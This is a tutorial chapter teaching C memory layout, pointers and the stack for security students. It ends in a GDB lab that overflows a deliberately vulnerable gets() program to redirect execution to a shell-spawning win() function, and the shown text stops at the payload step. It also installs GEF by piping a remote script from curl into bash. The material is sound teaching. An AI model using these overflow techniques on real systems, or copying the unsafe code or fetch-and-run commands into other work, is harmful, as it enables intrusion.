Understanding C, Memory Layout, Pointers & the Stack
This is Chapter 5 of the Programming for Security series — Notebook 5. The four previous chapters gave you Python and Bash: high-level languages where memory is invisible, strings just work, and a variable is a name you never have to think about the address of. This chapter goes underneath all of that. It teaches you C — not because you’ll write a lot of production C, but because C is the closest thing to “portable assembly” that exists, and because almost every binary you will ever reverse-engineer, fuzz, or exploit was written in C or C++ and compiled down to the exact memory layout this chapter explains.
If you want to understand a stack buffer overflow, a use-after-free, a format-string bug, or why
strcpy is a loaded gun, you have to be able to see memory the way the CPU sees it: a flat array
of bytes, with pointers as indices into that array, a stack that grows downward, and a return
address sitting on that stack waiting to be overwritten. Python hides every one of those things.
C shows you all of them. That visibility is the entire reason this chapter exists.
We start from absolute zero: what a compiler actually does, how to build and run a C program on Kali, what a “type” means when the machine only knows bytes. Then pointers — slowly, with diagrams, until they click. Then arrays and strings as the raw memory they really are. Then the big picture: the virtual address space of a running process, section by section. Then the star of the show, the stack: how a function call is implemented, what a stack frame contains, where the saved return address lives, and — in a fully worked GDB lab — what it looks like when you overflow a buffer and smash that return address. We close on the defensive side: the mitigations (ASLR, stack canaries, NX/DEP, PIE) that stand between a textbook overflow and a working exploit on a modern system, and how a defender reasons about them.
Everything here is lab-scoped and lawful. You compile and break programs that you wrote, on a machine you own. The overflow lab deliberately disables modern protections so the core mechanism is visible; that is a teaching device, not how you’d attack a hardened target. Understanding the mechanism is exactly what lets you both find these bugs (as a researcher or bounty hunter) and defend against them (as a blue-teamer choosing compiler flags). That dual purpose is the point.
Why This Matters Before You Write a Line of C
Section titled “Why This Matters Before You Write a Line of C”Every serious offensive-security discipline eventually bottoms out in the memory model this chapter teaches:
- Binary exploitation / pwn (CTF and real research): stack overflows, ROP chains, heap exploitation, format strings — all of it is manipulation of the exact structures below.
- Reverse engineering & malware analysis: Ghidra and IDA decompile machine code back into C-like pseudocode. If you can’t read C and don’t know what a pointer or a stack frame is, the decompiler output is noise.
- Fuzzing & vulnerability research: you fuzz C/C++ binaries precisely because they have no memory safety. Triage means reading a crash in a debugger and understanding which memory structure got corrupted.
- Exploit mitigation & defensive engineering (blue team): choosing
-fstack-protector-strong, enabling full RELRO, shipping PIE binaries, turning on ASLR — you can’t reason about these without knowing what they protect. - Bug bounty (native targets): desktop apps, mobile native libraries, IoT firmware, and browser components are C/C++. Memory-corruption bounties pay the most precisely because they’re the hardest and rest on this foundation.
Python taught you to build tools. C teaches you to understand targets. This is the chapter
where “the program crashed” turns into “the program crashed because a 72-byte write into a
64-byte buffer overwrote the saved return address at rbp+8 with 0x4141414141414141.”
Part 1: What C Is and Why It Still Runs the World
Section titled “Part 1: What C Is and Why It Still Runs the World”C was created by Dennis Ritchie at Bell Labs in 1972 to write the Unix operating system. That origin explains almost everything about it. An operating system has to talk directly to hardware: read and write specific memory addresses, manipulate individual bytes and bits, and impose zero runtime overhead. So C was designed to be a thin, predictable layer over the machine — high-level enough to be portable across CPUs, low-level enough that you can always see roughly what assembly a line will become.
The consequences that matter for security:
- No memory safety. C will happily let you write past the end of an array, use memory after freeing it, or read uninitialized bytes. The language does not check. The CPU does not check. This is the source of the entire category of “memory-corruption vulnerabilities.”
- Manual memory management. You call
mallocto get heap memory andfreeto release it. Forget to free → memory leak. Free twice → double-free. Use after free → use-after-free (UAF). These are three distinct, exploitable bug classes that simply cannot exist in Python. - Pointers are first-class. A pointer is just a variable holding a memory address. You can do arithmetic on it, cast it to a different type, and dereference it. This power is why C is fast and why C is dangerous.
- Compiled, not interpreted. C source becomes native machine code for one specific architecture (x86-64, ARM64, etc.). There is no interpreter standing between your code and the CPU. What you get is exactly what runs.
Roughly all of the following are written in C or C++: the Linux kernel, the Windows kernel, glibc, OpenSSL, SQLite, nginx, Redis, the reference Python interpreter (CPython) itself, most of Chrome and Firefox, and the firmware in your router. When you exploit or defend any of these, you are operating in the world this chapter describes.
Security relevance up front: the reason a Python string can’t cause a buffer overflow and a C
char[64] can is everything below. Python’s str/bytes know their own length and bounds-check
every access; a C array is just a bare address and a length you are trusted to respect. Break
that trust and you corrupt adjacent memory.
Part 2: The Compilation Pipeline — What “Compiling” Actually Does
Section titled “Part 2: The Compilation Pipeline — What “Compiling” Actually Does”In Python you run python3 script.py and it works. In C there is a multi-stage build between your
.c file and an executable. You must understand these stages because reverse engineering and
exploitation happen at the output end of this pipeline — the machine code — and because build
flags chosen here decide whether a binary is exploitable.
flowchart LR
A["source.c<br/>(human C)"] -->|"Preprocessor<br/>cpp"| B["source.i<br/>(expanded C)"]
B -->|"Compiler<br/>cc1"| C["source.s<br/>(assembly)"]
C -->|"Assembler<br/>as"| D["source.o<br/>(object / machine code)"]
D -->|"Linker<br/>ld"| E["a.out<br/>(executable)"]
F["libc.a / libc.so<br/>(libraries)"] --> E
The four stages, in order:
- Preprocessing (
cpp). Handles every line starting with#.#include <stdio.h>is literally replaced by the entire contents of that header file.#define MAX 64textually substitutes64forMAXeverywhere. The output is still C, just expanded. See it withgcc -E. - Compilation (
cc1). Translates the expanded C into assembly language for your target CPU. This is where optimization happens (-O0through-O3). See it withgcc -S— the output.sfile is human-readable assembly and is worth staring at once in your life. - Assembly (
as). Turns the textual assembly into machine code packed into an object file (.o). This is real binary now, but not yet runnable — external references (likeprintf) are still unresolved placeholders. See it withgcc -c. - Linking (
ld). Stitches your object file(s) together with the C standard library and resolves those external references, producing the final executable. Linking can be dynamic (the default —printfis resolved at runtime fromlibc.so) or static (-static— a copy of libc is baked into the binary).
You almost always invoke the whole pipeline at once with gcc. But each stage is inspectable, and
security people inspect them constantly.
Installing the toolchain on Kali
Section titled “Installing the toolchain on Kali”# gcc is usually present on Kali; install the full build toolchain to be suresudo apt updatesudo apt install -y build-essential gdb
# verifygcc --version # e.g. gcc (Debian 13.2.0) 13.2.0gdb --version # e.g. GNU gdb (Debian 13.2) 13.2build-essential— a meta-package pulling ingcc,g++,make, and the libc headers.gdb— the GNU Debugger, the single most important tool in this chapter. We install it now and teach it from scratch in Part 10.
Your first C program, built stage by stage
Section titled “Your first C program, built stage by stage”Create hello.c:
#include <stdio.h> // brings in the declaration of printf
int main(void) { // program entry point; returns an int exit code printf("Hello, memory\n"); return 0; // 0 = success, by Unix convention}Now watch each pipeline stage produce a real artifact:
gcc -E hello.c -o hello.i # 1. preprocess only -> ~800 lines (all of stdio.h inlined!)gcc -S hello.c -o hello.s # 2. compile to assembly -> readable x86-64gcc -c hello.c -o hello.o # 3. assemble to object file (binary, not runnable)gcc hello.c -o hello # 4. do everything: final executable./hello # Hello, memoryecho $? # 0 <- the exit code we returnedFlags you’ll use in every build in this chapter:
| Flag | Meaning | Why it matters here |
|---|---|---|
-o NAME | name the output file | otherwise you get a.out |
-g | embed debug symbols (DWARF) | lets GDB show source lines & variable names |
-O0 | no optimization | keeps the assembly close to your source — essential for learning |
-O2 | aggressive optimization | what production builds use; reorders/removes code |
-Wall -Wextra | enable warnings | catches many bugs at compile time |
-fno-stack-protector | disable stack canary | needed to see a clean overflow in the lab |
-z execstack | mark stack executable | classic shellcode-on-stack technique (lab only) |
-no-pie | disable position-independent exe | gives fixed addresses, simpler to reason about |
-static | bake libc into the binary | self-contained; larger; changes exploitation |
-m32 | build 32-bit | 32-bit stack layout is simpler for a first overflow |
A learning/exploitation build in this chapter typically looks like:
gcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vulnEvery one of those flags weakens the binary on purpose so the underlying mechanism is visible. On a real defensive build you’d want the opposite of most of them — which is exactly the Detection & Defense discussion in Part 12.
Part 3: Types Are Really Just “How Many Bytes and How to Read Them”
Section titled “Part 3: Types Are Really Just “How Many Bytes and How to Read Them””In Python, an int is an arbitrary-precision object; it grows as large as you like and you never
think about its size. In C, a type is a contract with the machine that says exactly two things:
how many bytes this value occupies, and how those bytes should be interpreted. That’s it.
A type is a lens over raw memory.
Here are the core scalar types on a typical 64-bit Linux (the “LP64” model). Sizes are not
guaranteed by the C standard — only minimums are — which is itself a source of portability bugs
and, occasionally, vulnerabilities. Always confirm with sizeof.
| Type | Typical size (x86-64 Linux) | Range (unsigned) | Notes |
|---|---|---|---|
char | 1 byte | 0–255 | also the unit of a C string; may be signed or unsigned |
short | 2 bytes | 0–65,535 | |
int | 4 bytes | 0–4,294,967,295 | the default integer |
long | 8 bytes | 0–~1.8e19 | 8 on Linux, 4 on 64-bit Windows |
long long | 8 bytes | 0–~1.8e19 | guaranteed ≥ 64-bit |
float | 4 bytes | — | IEEE-754 single precision |
double | 8 bytes | — | IEEE-754 double precision |
void * (pointer) | 8 bytes | — | holds a 64-bit address |
size_t | 8 bytes | unsigned | type of sizeof; used for lengths/indices |
Prove it to yourself:
#include <stdio.h>int main(void) { printf("char %zu\n", sizeof(char)); // 1 printf("short %zu\n", sizeof(short)); // 2 printf("int %zu\n", sizeof(int)); // 4 printf("long %zu\n", sizeof(long)); // 8 printf("long long %zu\n", sizeof(long long)); // 8 printf("float %zu\n", sizeof(float)); // 4 printf("double %zu\n", sizeof(double)); // 8 printf("void* %zu\n", sizeof(void*)); // 8 return 0;}%zu is the printf format specifier for a size_t. Using the wrong specifier (%d for a
size_t, say) is itself undefined behavior and the seed of format-string bugs we’ll meet later.
Signed vs unsigned — where integer bugs are born
Section titled “Signed vs unsigned — where integer bugs are born”A char holding the bit pattern 1111 1111 is 255 if unsigned and −1 if signed
(two’s-complement). The bytes are identical; only the type decides the meaning. This ambiguity
is a rich source of vulnerabilities:
#include <stdio.h>#include <string.h>
void copy_n(char *dst, char *src, int n) { if (n > 64) return; // "bounds check" memcpy(dst, src, n); // but n is signed...}If an attacker controls n and passes -1, the check n > 64 is false (−1 is not > 64), so the
copy proceeds — but memcpy’s third argument is a size_t (unsigned), so -1 becomes
18,446,744,073,709,551,615. memcpy tries to copy ~18 exabytes and instantly corrupts memory.
This is an integer signedness / integer-overflow vulnerability, and CVEs of exactly this shape
appear every year in real software. The fix is to type n as size_t and check both ends.
Endianness — the byte order that trips up every beginner
Section titled “Endianness — the byte order that trips up every beginner”A multi-byte integer has to be laid out in memory as individual bytes, and x86-64 stores them
little-endian: the least-significant byte first (lowest address). The 4-byte value
0x11223344 is stored as the bytes 44 33 22 11.
flowchart LR
subgraph "int value 0x11223344 in memory (little-endian)"
direction LR
a["addr+0<br/>0x44"] --- b["addr+1<br/>0x33"] --- c["addr+2<br/>0x22"] --- d["addr+3<br/>0x11"]
end
Exploitation relevance: when you overwrite a return address with a target like
0x00000000004011d6, you must write the bytes in little-endian order:
\xd6\x11\x40\x00\x00\x00\x00\x00. Every pwn tool (pwntools’ p64(), for example) exists partly
to handle this byte-ordering for you. Getting endianness wrong is the single most common reason a
beginner’s first overflow “doesn’t work.”
Part 4: Pointers — The Concept Everything Else Rests On
Section titled “Part 4: Pointers — The Concept Everything Else Rests On”A pointer is the idea that scares people off C, and it is genuinely the most important concept in this chapter. So we go slowly. Here is the whole thing in one sentence: a pointer is a variable whose value is a memory address. Nothing more.
Think of RAM as a giant array of bytes, each with a numbered slot (its address). A normal variable stores data. A pointer variable stores the address of some data — it “points at” it.
flowchart LR
subgraph Memory
x["address 0x7ffe...a4<br/><b>x = 42</b>"]
p["address 0x7ffe...98<br/><b>p = 0x7ffe...a4</b>"]
end
p -->|"points at"| x
The two operators that are the whole game:
&x— address-of: “give me the address wherexlives.”*p— dereference: “give me the value stored at the addresspholds.”
They are inverses: *(&x) is just x.
#include <stdio.h>int main(void) { int x = 42; int *p = &x; // p holds the ADDRESS of x. "int *" = "pointer to int"
printf("x = %d\n", x); // 42 (the value) printf("&x = %p\n", (void*)&x); // 0x7ffe... (where x lives) printf("p = %p\n", (void*)p); // same address as &x printf("*p = %d\n", *p); // 42 (follow the pointer -> the value)
*p = 99; // write THROUGH the pointer into x's memory printf("x now = %d\n", x); // 99 <- we changed x without naming x! return 0;}That last part — changing x by writing through p without ever mentioning x — is the essence
of both pointers’ power and their danger. If a pointer holds an address it shouldn’t (because you
computed it wrong, or an attacker controlled it), *p = 99 writes 99 wherever that address
points. An attacker-controlled pointer plus an attacker-controlled value is a write-what-where
primitive — the crown jewel of exploitation.
Pointer arithmetic — scaled by the pointed-to type
Section titled “Pointer arithmetic — scaled by the pointed-to type”Adding 1 to a pointer does not add 1 byte; it adds sizeof(*p) bytes — enough to advance to
the next element of that type. This is what makes arrays and pointers so intertwined.
#include <stdio.h>int main(void) { int a[4] = {10, 20, 30, 40}; int *p = a; // an array name decays to a pointer to its first element
printf("%d\n", *p); // 10 printf("%d\n", *(p + 1)); // 20 -> address advanced by sizeof(int)=4 bytes printf("%d\n", *(p + 3)); // 40 printf("p=%p (p+1)=%p\n", (void*)p, (void*)(p+1)); // differ by 4, not 1 return 0;}a[i] is defined as *(a + i). That equivalence is why array indexing has no built-in bounds
check — it’s just pointer arithmetic plus a dereference, and pointer arithmetic will cheerfully
compute an address past the end of the array.
The pointer footguns you must recognize
Section titled “The pointer footguns you must recognize”| Bug | What it is | Consequence |
|---|---|---|
| NULL dereference | int *p = NULL; *p; | crash (SIGSEGV); usually a DoS, sometimes exploitable |
| Wild/uninitialized pointer | using int *p; before setting it | reads/writes a garbage address |
| Dangling pointer | using a pointer after free() | use-after-free — highly exploitable |
| Out-of-bounds pointer | p = a + 100; then *p | reads/writes adjacent memory — the overflow family |
| Type-confused pointer | casting char* to int* wrongly | misreads memory; alignment faults |
Every one of these is a bug class with its own exploitation techniques and its own detection tooling (AddressSanitizer, Valgrind — Part 12). You cannot understand any of them without first understanding that a pointer is just an address you are trusted to use correctly.
Part 5: Arrays, Strings & Buffers — Raw Memory Wearing a Costume
Section titled “Part 5: Arrays, Strings & Buffers — Raw Memory Wearing a Costume”A C array is a contiguous block of bytes sized count * sizeof(element), and the array’s name
is (nearly) synonymous with the address of its first byte. There is no length stored anywhere. The
program simply has to remember how big it is. When it forgets — or is tricked — you get an
overflow.
A C string is even more bare: it’s just a char array terminated by a zero byte ('\0',
value 0). The string "Hi" occupies 3 bytes: 'H', 'i', '\0'. Every C string function
finds the end by scanning for that terminator. Lose the terminator and functions read off into
adjacent memory until they hit a stray zero — an information leak.
#include <stdio.h>#include <string.h>int main(void) { char buf[8] = "Hi"; // bytes: 'H' 'i' 0 0 0 0 0 0 printf("len = %zu\n", strlen(buf)); // 2 (counts until the 0) printf("size= %zu\n", sizeof(buf)); // 8 (the whole array)
buf[2] = '!'; // clobber the terminator -> no more 0 after "Hi!" printf("len = %zu\n", strlen(buf)); // now scans past index 2 into whatever follows! return 0;}The dangerous string functions — and why they’re dangerous
Section titled “The dangerous string functions — and why they’re dangerous”This is the single most security-relevant table in the chapter. Memorize the left column as “functions that will overflow a buffer if you let them,” and the right column as their bounded replacements.
| Unsafe function | Why it’s unsafe | Safer alternative |
|---|---|---|
gets(buf) | reads a line with no length limit at all | fgets(buf, sizeof buf, stdin) |
strcpy(dst, src) | copies until src’s \0, ignoring dst’s size | strncpy / strlcpy (+ manual \0) |
strcat(dst, src) | appends with no size awareness | strncat / strlcat |
sprintf(buf, fmt, ...) | formats into buf with no bound | snprintf(buf, sizeof buf, ...) |
scanf("%s", buf) | %s reads an unbounded token | scanf("%63s", buf) (width-limited) |
gets() was so dangerous it was removed from the C standard entirely in C11 — the only
standard-library function ever to be deleted for being unfixable. It is the star of the very first
overflow lab, precisely because it embodies the whole bug class in one call.
Security relevance: the classic stack buffer overflow is nothing more than one of these functions writing more bytes into a fixed-size stack array than the array can hold, so the excess bytes spill onto the rest of the stack — including, eventually, the saved return address. To see that happen we first need to understand where these buffers live, which is the whole next part.
CTF/bounty angle: on any native target — a CTF pwn binary, an IoT firmware daemon, a legacy
C++ desktop app in a bug-bounty scope — the first thing an analyst greps the disassembly for is
exactly this list: strcpy, gets, sprintf, memcpy with an attacker-influenced length.
They are the breadcrumbs that lead to the bug.
Part 6: The Process Virtual Address Space — The Map of a Running Program
Section titled “Part 6: The Process Virtual Address Space — The Map of a Running Program”When you run ./vuln, the kernel gives that process its own private, flat virtual address
space: a range of addresses from 0 up to a huge maximum (on x86-64, the user portion runs up to
0x00007fffffffffff). It’s virtual because the CPU’s MMU translates these addresses to real
physical RAM behind the scenes, and private because process A’s address 0x400000 and process
B’s 0x400000 map to different physical memory. This isolation is itself a security boundary.
That address space is carved into segments, each with different contents and permissions. This map is the mental model you carry into every debugging and exploitation session:
flowchart TD
subgraph "Process Virtual Address Space (high addr at top)"
direction TB
S["<b>Stack</b> — local vars, saved RIP/RBP, args<br/>grows DOWN ↓ toward lower addresses"]
G1["... unmapped gap ..."]
MM["<b>mmap / shared libs</b> — libc.so, ld.so, mmap()'d regions"]
G2["... unmapped gap ..."]
H["<b>Heap</b> — malloc/free<br/>grows UP ↑ toward higher addresses"]
B["<b>.bss</b> — uninitialized globals (zeroed)"]
D["<b>.data</b> — initialized globals/statics"]
T["<b>.text</b> — the machine code (read+execute, no write)"]
end
S --> G1 --> MM --> G2 --> H --> B --> D --> T
Segment by segment, from the bottom (low addresses) up:
| Segment | Contents | Permissions | Grows | Security note |
|---|---|---|---|---|
.text | compiled machine code | r-x (read/execute, not writable) | fixed | non-writable so code can’t be patched at runtime; W^X |
.rodata | string literals, constants | r-- | fixed | your "Hello" lives here |
.data | initialized globals/statics | rw- | fixed | e.g. int g = 5; |
.bss | uninitialized globals/statics | rw- | fixed | zero-filled at load; int g; |
| heap | malloc/calloc/realloc | rw- | upward ↑ | UAF/double-free/heap-overflow live here |
| mmap | shared libraries, big allocations | varies | — | libc lands here; ASLR randomizes its base |
| stack | locals, call frames, saved return addrs | rw- | downward ↓ | the star of this chapter |
Two facts that constantly confuse beginners and constantly matter in exploitation:
- The stack grows downward — toward lower addresses. When you push data, the stack pointer decreases. This is why a buffer overflow (which writes toward higher addresses, like all writes) marches from a local buffer toward the saved return address that was pushed earlier and therefore sits at a higher address than the buffer. That geometry is the whole reason a linear overflow can reach the return address.
- The heap grows upward — toward higher addresses — from the opposite end, so the two dynamic regions grow toward each other with a large gap between them.
Seeing the real map: /proc/<pid>/maps
Section titled “Seeing the real map: /proc/<pid>/maps”Linux exposes every process’s memory map as a text file. This is one of the most useful things you can show a beginner, because the abstract diagram above becomes concrete addresses:
# start any program that waits, e.g. a sleep, and read its mapsleep 1000 &cat /proc/$!/mapsReal (trimmed) output looks like:
55e6c0e00000-55e6c0e01000 r--p 00000000 08:01 1319 /usr/bin/sleep <- ELF header55e6c0e01000-55e6c0e05000 r-xp 00001000 08:01 1319 /usr/bin/sleep <- .text (r-x)55e6c0e05000-55e6c0e07000 r--p 00005000 08:01 1319 /usr/bin/sleep <- .rodata55e6c0e08000-55e6c0e09000 rw-p 00007000 08:01 1319 /usr/bin/sleep <- .data/.bss7f9c4a000000-7f9c4a028000 r--p 00000000 08:01 2011 /usr/lib/libc.so.6 <- libc mapped here...7ffde3b60000-7ffde3b81000 rw-p 00000000 00:00 0 [stack] <- the stack!7ffde3bd0000-7ffde3bd4000 r--p 00000000 00:00 0 [vvar]The four permission characters (r/w/x/p) are exactly the segment permissions from the
table. Notice [stack] is rw-p — read/write but not execute. That missing x is the
NX/DEP mitigation (Part 12) and is why “just put shellcode on the stack and jump to it” stopped
working two decades ago.
Blue team / IR usage: during live-response on a compromised Linux host, /proc/<pid>/maps
(and /proc/<pid>/mem) is how a responder spots an injected rwx region (a red flag — legitimate
code segments are r-x, legitimate data is rw-; an rwx mapping often means self-modifying or
injected code) or a memory-only, file-less implant that never touched disk.
Part 7: The Stack — How It Works, Byte by Byte
Section titled “Part 7: The Stack — How It Works, Byte by Byte”The stack is a region of memory managed as a LIFO (last-in, first-out) structure, used to hold everything local to a function call: its local variables, the arguments passed to it (beyond what fit in registers), the address to return to when it finishes, and saved copies of registers. It is called the “call stack” for a reason — every function call pushes a frame on, every return pops one off.
Two CPU registers drive it on x86-64:
rsp— the stack pointer — always points at the top of the stack (the lowest in-use address, since the stack grows down).rbp— the base/frame pointer — points at a fixed spot within the current function’s frame, used as a stable reference to find locals and arguments.
Two instructions move data on and off:
push rax— subtract 8 fromrsp(stack grows down), then writeraxat[rsp].pop rax— read[rsp]intorax, then add 8 torsp.
Because the stack grows down, “top of stack” is the lowest address in use, and pushing more
data moves rsp to ever-lower addresses. Hold onto that; it is the geometry an overflow exploits.
flowchart TD
subgraph "Stack after main() calls vuln() (high addr top, low addr bottom)"
direction TB
A["higher addresses ↑"]
B["main()'s frame ..."]
C["<b>argument(s) to vuln</b> (if spilled)"]
D["<b>return address</b> (saved RIP → back into main)"]
E["<b>saved RBP</b> (main's frame pointer)"]
F["<b>vuln()'s local buffer[64]</b> ← rbp-0x40"]
G["... rsp points here (top) ..."]
H["lower addresses ↓ (stack grows this way)"]
end
A --> B --> C --> D --> E --> F --> G --> H
That ordering is the crux of the whole chapter, so read it carefully:
- The return address sits at a higher address than the local buffer.
- A
strcpy/getsintobufferwrites upward (toward higher addresses) as it copies more bytes. - Therefore a large enough write overflows out of the buffer, past the saved RBP, and onto the saved return address. Overwrite that return address and you control where the CPU jumps when the function returns. That is a stack buffer overflow in one sentence.
Part 8: What a Function Call Really Does — The Stack Frame & Calling Convention
Section titled “Part 8: What a Function Call Really Does — The Stack Frame & Calling Convention”Let’s make the abstract concrete. When main() calls vuln("input"), a precise, CPU-level dance
happens, governed by the System V AMD64 calling convention (the standard on Linux/macOS
x86-64). Understanding this convention is what lets you read disassembly and craft exploits.
The System V AMD64 calling convention (the rules)
Section titled “The System V AMD64 calling convention (the rules)”- The first six integer/pointer arguments go in registers, in this order:
rdi, rsi, rdx, rcx, r8, r9. (Further args spill onto the stack.) - The return value comes back in
rax. - The
callinstruction pushes the return address (the address of the instruction right after thecall) onto the stack, then jumps to the function. - The
retinstruction pops that saved address off the stack intoripand continues there. - The callee typically saves the caller’s
rbpand sets up its own frame (the “function prologue”), and restores it on the way out (the “epilogue”).
The prologue and epilogue in assembly
Section titled “The prologue and epilogue in assembly”Nearly every non-trivial function starts and ends with the same boilerplate. This is the code that creates and destroys the stack frame:
; --- PROLOGUE (function entry) ---push rbp ; save caller's frame pointer onto the stackmov rbp, rsp ; establish OUR frame pointer = current stack topsub rsp, 0x40 ; carve out 0x40 (64) bytes for local variables
; ... function body: locals are addressed as [rbp - offset] ...
; --- EPILOGUE (function exit) ---leave ; == (mov rsp, rbp ; pop rbp) : tear down frame, restore rbpret ; pop saved return address into rip -> jump back to callerTrace the stack through a call, step by step. Say main is about to run call vuln:
sequenceDiagram
participant CPU
participant Stack
CPU->>Stack: call vuln (push return address)
Note over Stack: [return addr] now on top
CPU->>Stack: push rbp (save main's frame ptr)
Note over Stack: [saved rbp][return addr]
CPU->>CPU: mov rbp, rsp (rbp = frame base)
CPU->>Stack: sub rsp, 0x40 (allocate 64B for buffer)
Note over Stack: [buffer 64B][saved rbp][return addr]
CPU->>Stack: ... function runs, writes into buffer ...
CPU->>Stack: leave (rsp=rbp; pop rbp)
CPU->>Stack: ret (pop return addr into rip)
Note over Stack: control returns to main
Now the payoff. The saved return address is a specific 8-byte slot on the stack, and its position
relative to a local buffer is fixed and knowable. If buffer is at rbp-0x40, then:
bufferoccupiesrbp-0x40..rbp-0x01(64 bytes)- saved RBP occupies
rbp+0x00..rbp+0x07(8 bytes) - saved return address occupies
rbp+0x08..rbp+0x0f(8 bytes)
So writing 64 bytes of filler + 8 bytes to overwrite saved RBP + 8 bytes of your chosen
address places your address exactly where ret will read it. That “72 then 8” arithmetic is the
offset every stack-overflow exploit begins by finding. In the lab (Part 10) we find it
empirically with a cyclic pattern rather than by hand-counting — but this is why it works.
Red team usage: control of rip via a corrupted return address is the foundation for
ret2win, ret2libc, and ROP — you don’t inject code, you redirect execution to code (or gadgets)
already present. Blue team usage: stack canaries (Part 12) work by placing a random value
between the buffer and the saved RBP/return address, so a linear overflow that reaches the return
address must first destroy the canary — detected on function exit, aborting before ret.
Part 9: The Heap in Brief — Dynamic Memory and Its Bug Classes
Section titled “Part 9: The Heap in Brief — Dynamic Memory and Its Bug Classes”The stack is for short-lived, function-scoped data whose size is known at compile time. When you
need memory that outlives a function or whose size you only learn at runtime, you use the heap
via malloc/free:
#include <stdlib.h>#include <string.h>char *dup_input(const char *s) { size_t n = strlen(s) + 1; // +1 for the terminator char *p = malloc(n); // ask the allocator for n bytes on the heap if (!p) return NULL; // ALWAYS check malloc — it can fail memcpy(p, s, n); // copy the string in return p; // caller now owns this; must free() it later}malloc(n)returns a pointer to at leastnbytes, orNULLon failure. The memory is uninitialized (contains garbage) —calloczeroes it instead.free(p)returns the block to the allocator. Afterfree,pis a dangling pointer; using it is undefined behavior.
A full treatment of heap exploitation is a later chapter, but you must be able to name the three heap bug classes now, because they show up constantly in vuln research and CTF:
| Heap bug | Cause | Exploitation idea |
|---|---|---|
| Heap overflow | writing past a heap allocation | corrupt adjacent chunk metadata or an adjacent object’s pointers |
| Use-after-free (UAF) | using memory after free() | reallocate the freed chunk with attacker data; hijack a stale pointer/vtable |
| Double free | calling free(p) twice | corrupt the allocator’s free-list to get a controlled write |
Bounty relevance: UAF is the dominant bug class in browser and OS exploitation — the highest bug-bounty payouts (Chrome, Safari, Windows kernel) overwhelmingly go to UAF and type-confusion in C++ objects on the heap. It rests on exactly the pointer-and-lifetime concepts from Part 4: a pointer that still holds an address whose object no longer logically exists.
Detection tooling for all of these — AddressSanitizer and Valgrind — is covered in Part 12, and it is the fastest way to find them in your own code or a target.
Part 10: Hands-On Lab — Watching a Stack Overflow Under GDB
Section titled “Part 10: Hands-On Lab — Watching a Stack Overflow Under GDB”This is the centerpiece. We will write a deliberately vulnerable program, compile it with
protections off, and use GDB to watch, register by register, a gets() overflow smash the
saved return address and redirect execution into a function that was never called. Everything runs
on a Kali VM you control.
GDB from scratch — what it is and the commands we’ll use
Section titled “GDB from scratch — what it is and the commands we’ll use”GDB (the GNU Debugger) lets you run a program under full control: pause it, step one instruction at a time, inspect and modify registers and memory, set breakpoints, and disassemble. For binary work it’s the microscope. Install a helper front-end to make its output readable:
# GEF is a popular GDB enhancement for exploitation work (pwndbg and peda are alternatives)sudo apt install -y gdbbash -c "$(curl -fsSL https://gef.blah.cat/sh)" # installs GEF into ~/.gdbinitThe GDB commands used in this lab, taught as we go:
| Command | Meaning |
|---|---|
gdb ./vuln | load a binary under the debugger |
break main / b vuln | set a breakpoint at a function |
run / r | start the program |
run <<< $(python3 -c '...') | run feeding crafted stdin |
ni / si | step over / step into one instruction |
continue / c | resume until next breakpoint/crash |
info registers / i r | dump all CPU registers |
x/40xg $rsp | examine 40 giant (8-byte) words in hex at rsp |
disassemble vuln | show the function’s assembly |
p &buf / p func | print an address of a symbol |
pattern create 200 (GEF) | generate a De Bruijn cyclic pattern |
pattern offset $rsp (GEF) | find how far into the pattern a value sits |
Step 1 — the vulnerable program
Section titled “Step 1 — the vulnerable program”Create vuln.c:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>
// The function we want to redirect execution INTO — but which is never called.void win(void) { printf("[+] win() reached — you controlled RIP!\n"); system("/bin/sh"); // pop a shell to prove code execution}
void vuln(void) { char buffer[64]; // 64-byte stack buffer at rbp-0x40 printf("Enter your name: "); gets(buffer); // NO bounds check — writes as many bytes as it's given printf("Hello, %s\n", buffer);}
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); // unbuffered output so prompts show immediately vuln(); printf("Normal exit.\n"); return 0;}Step 2 — build with every protection off (teaching build)
Section titled “Step 2 — build with every protection off (teaching build)”gcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln# You'll see a linker WARNING that gets() is dangerous — that's the point.-fno-stack-protector— remove the stack canary so the overflow is clean.-no-pie— fixed load address, sowin()has a stable address like0x401176.-z execstack— mark the stack executable (not strictly needed for ret2win, but standard for this teaching build).-g -O0— debug symbols, no optimization, so GDB shows source and the frame layout is textbook.
Step 3 — confirm the crash
Section titled “Step 3 — confirm the crash”python3 -c "print('A'*200)" | ./vulnOutput:
Enter your name: Hello, AAAAAAAAAAAAAAAAAA...AAAASegmentation fault (core dumped)The program crashed because 200 As (0x41) overflowed buffer, overwrote the saved return
address with 0x4141414141414141, and ret jumped there — an unmapped address — causing
SIGSEGV. Confirm inside GDB:
gdb -q ./vulngef➤ run <<< $(python3 -c "print('A'*200)")GEF prints a crash summary:
Program received signal SIGSEGV, Segmentation fault.0x0000000000401248 in vuln ()$rsp : 0x00007fffffffe0c8 → "AAAAAAAA..."$rbp : 0x4141414141414141 <- saved RBP overwritten with our 'A's$rip : 0x0000000000401248[!] the return would jump into 0x4141414141414141Seeing $rbp : 0x4141414141414141 is the “aha”: our input has reached the saved frame pointer,
which sits just below the saved return address. We’re one step from controlling rip.
Step 4 — find the exact offset to the return address
Section titled “Step 4 — find the exact offset to the return address”Hand-counting says 64 (buffer) + 8 (saved RBP) = 72 bytes before the return address. But guessing
is error-prone (compilers add alignment padding), so we measure it with a cyclic De Bruijn
pattern — a string in which every 8-byte substring is unique, so whatever lands in rip/rsp
tells us its exact position:
gef➤ pattern create 120[+] Generating a pattern of 120 bytes (n=8)aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaaf...gef➤ run <<< $(python3 -c "print('aaaaaaaabaaaaaaac...')") # paste the pattern...Program received signal SIGSEGV$rsp : 0x00007fffffffe0c8 → "iaaaaaaajaaa..."gef➤ pattern offset $rsp[+] Found at offset 72 (little-endian search) likelyOffset 72. That confirms the geometry: 72 bytes of filler, then the next 8 bytes overwrite the saved return address. (This matches 64-byte buffer + 8-byte saved RBP exactly.)
Step 5 — find win()’s address and build the payload
Section titled “Step 5 — find win()’s address and build the payload”gef➤ p win$1 = {void (void)} 0x401176 <win>win() lives at 0x401176 (stable because -no-pie). We craft: 72 filler bytes + the 8-byte
little-endian address of win:
